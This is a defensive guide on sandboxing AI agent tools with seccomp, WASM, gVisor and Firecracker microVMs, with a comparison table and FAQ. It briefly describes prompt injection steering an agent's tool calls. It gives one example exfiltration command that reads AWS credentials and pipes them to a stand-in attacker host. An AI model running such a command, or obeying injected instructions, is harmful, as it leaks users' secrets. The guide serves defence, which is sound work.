DEF-03 · Defending & Hardening

Agent Tool Sandboxing: seccomp, gVisor, WASM, and microVMs as Layers of Containment

How to sandbox AI agent tools with seccomp, gVisor, WASM, and microVMs. A layered containment model that isolates untrusted-data processing and limits blast radius.

Defense in depth: an attack is attenuated through layered controls before it can reach a privileged actionattackinputfilterL1policy /authzL2sandboxL3humancheckpointL4each layer assumes the previous one failed — blast radius shrinks left → right

An AI agent is only as trustworthy as the weakest tool it can call. The moment your agent fetches a web page, runs model-generated code, or parses a user-supplied file, it is processing data it cannot vouch for — and a single prompt injection or malicious payload can turn a helpful tool call into an attempt to read your secrets, reach your internal network, or pivot onto the host. Sandboxing is the discipline of assuming that will happen and making sure it does not matter.

This guide explains the four containment layers practitioners actually reach for — seccomp, gVisor, WebAssembly (WASM), and microVMs — what each one isolates, where each one leaks, and how to combine them so the failure of any single tool stays small.

What is agent tool sandboxing, and which layer should you use?

Agent tool sandboxing is the practice of running each tool an AI agent invokes inside an isolation boundary, so that compromised or misbehaving tool code cannot reach the host, the network, or other tools. The four common boundaries trade safety against cost: seccomp filters which Linux syscalls a process may make (cheap, weak alone); WASM runs untrusted code in a capability-based virtual machine with no ambient access (fast, language-limited); gVisor puts a userspace kernel between the tool and the host so most syscalls never touch the real kernel (strong, some overhead); and microVMs like Firecracker give each tool a hardware-virtualized guest kernel (strongest, heaviest). For an agent processing genuinely untrusted data, the practical answer is not one layer but a stack: a microVM or gVisor for the hard boundary, plus seccomp and capability dropping inside it for defense in depth.

The decision rule is simple. Match the strength of the boundary to the trustworthiness of the input. Reading your own structured config? A seccomp-filtered container is fine. Executing code the model just wrote, or rendering a PDF a stranger uploaded? You want a real kernel boundary — gVisor or a microVM — because that is exactly the kind of input designed to break out.

Why do AI agents need sandboxing more than ordinary services?

Traditional services process inputs they at least partially trust, behind validation they wrote. An agent does the opposite: it deliberately ingests untrusted text and then acts on it. A web page can carry instructions that the model treats as a command. A retrieved document can hide a payload that steers the next tool call. This is the prompt-injection problem, and no amount of model alignment fully closes it, because the attack lives in data the model is supposed to read.

So the security model shifts from “stop the bad input” to “let the bad input in, but contain what it can do.” If a poisoned web page convinces your agent to run cat ~/.aws/credentials && curl evil.example, the only thing standing between you and an exfiltrated key is the sandbox around the shell tool. The agent layer cannot be the last line of defense, because the agent is the thing being manipulated.

A second reason is blast radius. Agents call many tools, often in parallel, often with shared credentials. Without isolation, one compromised tool inherits the agent’s entire ambient authority — every API token, every mounted volume, every network route. Sandboxing turns “one tool fell” into “one tool fell, in its own cell, with nothing worth stealing.”

What does each containment layer actually isolate?

seccomp — filtering syscalls at the kernel boundary

seccomp (secure computing mode), specifically seccomp-bpf, lets a process declare which Linux system calls it is allowed to make. Calls outside the allowlist are blocked — the kernel returns an error or kills the process. Because the kernel still executes the permitted syscalls directly, seccomp adds almost no overhead, which is why it ships inside Docker, Kubernetes, and most container runtimes by default.

Its limit is also its design: seccomp filters which syscalls run, not what they do. A tool still talks to the same shared host kernel. If an allowed syscall reaches vulnerable kernel code, seccomp does not save you — the kernel attack surface is enormous, and a single kernel bug is a full container escape. Treat seccomp as a sharp tool for reducing attack surface, never as a standalone boundary for untrusted code.

WASM — capability-based isolation by construction

WebAssembly runs code in a sandboxed virtual machine with linear, bounds-checked memory and no ambient authority. A WASM module cannot open a file, a socket, or a clock unless the host explicitly hands it that capability through WASI (the WebAssembly System Interface). This is the cleanest fit for the agent pattern of “run this snippet the model generated”: the module starts with access to nothing and you grant exactly the resources the tool needs.

The trade-offs are language and ecosystem. Your tool must compile to WASM (Rust, Go, C, and a growing set of languages do; arbitrary native binaries do not), and host-call performance for I/O-heavy work can lag. WASM also does not give you a Linux kernel — if a tool genuinely needs to run ffmpeg or a Python interpreter with native extensions, WASM is the wrong layer. Use it for self-contained compute on untrusted input, not for hosting a whole POSIX environment.

gVisor — a userspace kernel in front of the host

gVisor inserts a userspace kernel, called the Sentry, between the sandboxed process and the host. The Sentry is a Go program that reimplements roughly 200+ Linux syscalls in userspace; it intercepts the tool’s syscalls (via a KVM- or ptrace-based platform) and services them itself, only making its own tightly restricted set of around 70 host syscalls when it truly must touch the real kernel. Because it is written in Go, whole classes of memory-safety bugs — buffer overflows, use-after-free — are eliminated from the boundary itself.

The result is a dramatically smaller host-kernel attack surface without standing up a full VM. The cost is performance: every guest syscall is intercepted and handled in userspace, so I/O-heavy workloads commonly run measurably slower than native containers (often cited in the 10–30% range, workload-dependent). For agent tools that parse, fetch, and transform untrusted data, that overhead usually buys the right amount of safety. gVisor is the runtime behind Google’s own untrusted-workload platforms for exactly this reason.

microVMs — hardware virtualization per tool

A microVM gives each tool its own guest kernel inside a hardware-virtualized boundary backed by KVM. Firecracker, built by AWS for Lambda and Fargate, is the canonical example: it boots a stripped-down guest in around 125 ms, runs with under ~5 MiB of memory overhead, and exposes only a minimal device model (network, block storage, metadata) to shrink the VMM’s own attack surface. On top of that, the Firecracker process is wrapped in a jailer that applies cgroups, namespaces, and seccomp — hardware isolation for the guest plus process-level sandboxing for the monitor itself.

This is the strongest mainstream boundary: a breakout now requires escaping the guest kernel and the hypervisor, not just one shared kernel. The price is operational weight — you manage VM images, boot time, and density limits — but for code execution on fully untrusted input, or multi-tenant agent platforms, microVMs are the boundary that lets you sleep.

How do the four layers compare?

Layer Isolation boundary Strength vs. host escape Overhead Best fit for agent tools
seccomp Syscall allowlist (shared kernel) Low — reduces, doesn’t remove kernel surface Negligible Hardening inside a stronger boundary
WASM Capability VM, no ambient authority Medium–High (no kernel exposed) Low for compute, higher for I/O Running model-generated snippets, plugins
gVisor Userspace kernel (Sentry) High — ~70 restricted host syscalls Moderate (often ~10–30% on I/O) Untrusted-data parsing/fetch at scale
microVM (Firecracker) Guest kernel + KVM + jailer Highest — guest and hypervisor escape needed Higher (boot, image, density) Untrusted code execution, multi-tenant

The columns are not a ranking to pick a winner from — they are a menu to combine. seccomp belongs inside a microVM. WASM can run inside gVisor. Defense in depth means the failure of one layer is caught by the next.

How should you isolate tools that process untrusted data?

Start by classifying every tool by the trust level of its input, then assign a boundary:

  • Trusted, structured input (your own config, internal APIs): a hardened container — non-root user, read-only filesystem, dropped Linux capabilities, default seccomp profile — is proportionate.
  • Untrusted data, no code execution (fetching web pages, parsing user files, calling third-party APIs): run it in gVisor or a microVM with no outbound network except an explicit allowlist, and no credentials it doesn’t strictly need. File parsers are a top breakout vector; do not parse a stranger’s PDF on a shared kernel.
  • Untrusted code execution (running model-generated or user-supplied code): a microVM per execution, or gVisor at minimum, with an ephemeral filesystem that is destroyed after the call.

Three controls do most of the work regardless of layer. Strip ambient authority: the sandbox should hold only the secrets and mounts that one tool needs, never the agent’s full credential set. Lock down egress: most exfiltration and most pivots are network calls — a default-deny outbound policy with a narrow allowlist defeats the common case even after a successful injection. Make it ephemeral: spin up the boundary per tool call and tear it down after, so a compromise cannot persist or accumulate state.

How do you limit blast radius once a tool is compromised?

Containment is not only about the wall around a tool; it is about how little is worth taking once the wall is breached. Limiting blast radius means assuming a sandbox will fall and engineering so the loss is bounded.

Give each tool the least privilege that lets it work. A web-fetch tool needs outbound HTTPS to specific hosts and nothing else — no filesystem, no internal network, no cloud metadata endpoint (block 169.254.169.254 explicitly; it is a classic credential-theft target). A code-runner needs CPU and scratch disk, not your database password. Scope credentials per tool, mint them short-lived, and never mount the agent’s master token into a sandbox.

Isolate tools from each other, not just from the host. If every tool runs in its own boundary, a compromised fetcher cannot read the code-runner’s memory or reach its files. Per-call ephemeral sandboxes give you this for free: there is no shared, long-lived surface to traverse.

Put a human or a policy gate on high-consequence actions. Sandboxing contains a tool’s capabilities; it does not judge a tool’s intent. Sending money, deleting data, or pushing to production should require an approval step outside the agent’s reach, so even a fully manipulated agent inside a perfect sandbox cannot unilaterally do irreversible harm.

Log at the boundary and watch egress. The sandbox edge is where you can see every syscall, every network connection, every file access a tool attempts. Unexpected outbound traffic or denied syscalls are among the earliest signals that a tool has been turned against you.

Conclusion: layer the containment, size it to the threat

There is no single sandbox that is right for every agent tool. seccomp shrinks the kernel attack surface for cheap but cannot stand alone. WASM gives you clean capability-based isolation for code you can compile. gVisor offers a strong host boundary at moderate cost. microVMs give you the hardest boundary when input is fully untrusted. The professional pattern is to compose them — a strong outer boundary, hardening within, least privilege and locked-down egress throughout — and to size each tool’s containment to how much you trust its input. Build it that way and prompt injection stops being a breach and becomes a contained, observable, survivable event.


Sources referenced for technical accuracy include the gVisor architecture documentation and the Firecracker microVM project.

Frequently asked

Is seccomp enough to sandbox an AI agent's tools?

No. seccomp filters which Linux syscalls a process may make, which reduces the kernel attack surface, but the tool still runs against the shared host kernel. A single kernel vulnerability reachable through an allowed syscall can mean a full escape. Use seccomp as a hardening layer inside a stronger boundary such as gVisor or a microVM, not as the only wall around untrusted code.

When should I use a microVM instead of gVisor for tool isolation?

Choose a microVM (for example Firecracker) when you run fully untrusted code, operate a multi-tenant agent platform, or need the strongest boundary regardless of operational cost, because a breakout then requires escaping both the guest kernel and the hypervisor. Choose gVisor when you want a strong host-kernel boundary with lower operational weight and can accept some I/O overhead, which is common for parsing and fetching untrusted data at scale.

What makes WASM suitable for running model-generated code?

WebAssembly runs code with no ambient authority: a module cannot touch files, sockets, or the clock unless the host explicitly grants that capability through WASI. That fits the pattern of executing a snippet the model just wrote, since the code starts with access to nothing. The limits are that the code must compile to WASM and that WASM does not provide a Linux kernel, so it is unsuitable for tools needing native binaries or a full POSIX environment.

How do I stop a compromised agent tool from stealing credentials?

Combine least privilege with locked-down egress. Mount only the short-lived, tool-scoped secrets a given tool needs rather than the agent's master credentials, and apply a default-deny outbound network policy with a narrow allowlist. Explicitly block the cloud metadata endpoint (169.254.169.254), a common credential-theft target. Most exfiltration is a network call, so denying unexpected egress defeats the common case even after a successful prompt injection.

Does sandboxing solve prompt injection?

Sandboxing does not prevent prompt injection, but it makes injection survivable. The attack lives in data the model is meant to read, so it cannot be fully filtered at the model layer. Containment shifts the goal from stopping the bad input to limiting what a manipulated tool can do: with per-tool isolation, least privilege, and approval gates on high-consequence actions, a successful injection becomes a contained, observable event rather than a breach.

How much performance overhead does gVisor add?

Because gVisor intercepts guest syscalls and services them in a userspace kernel (the Sentry), I/O-heavy workloads commonly run measurably slower than native containers, with figures often cited in the 10–30% range depending on the workload. CPU-bound work sees far less impact. For agent tools that mostly parse, fetch, and transform untrusted data, this overhead is usually an acceptable price for a much smaller host-kernel attack surface.

Should each agent tool run in its own sandbox?

Yes, where practical. Isolating tools from each other (not just from the host) means a compromised fetcher cannot read another tool's memory, files, or credentials. Per-call ephemeral sandboxes deliver this naturally: each tool call spins up its own boundary and tears it down afterward, so there is no shared, long-lived surface for an attacker to traverse and no state for a compromise to persist in.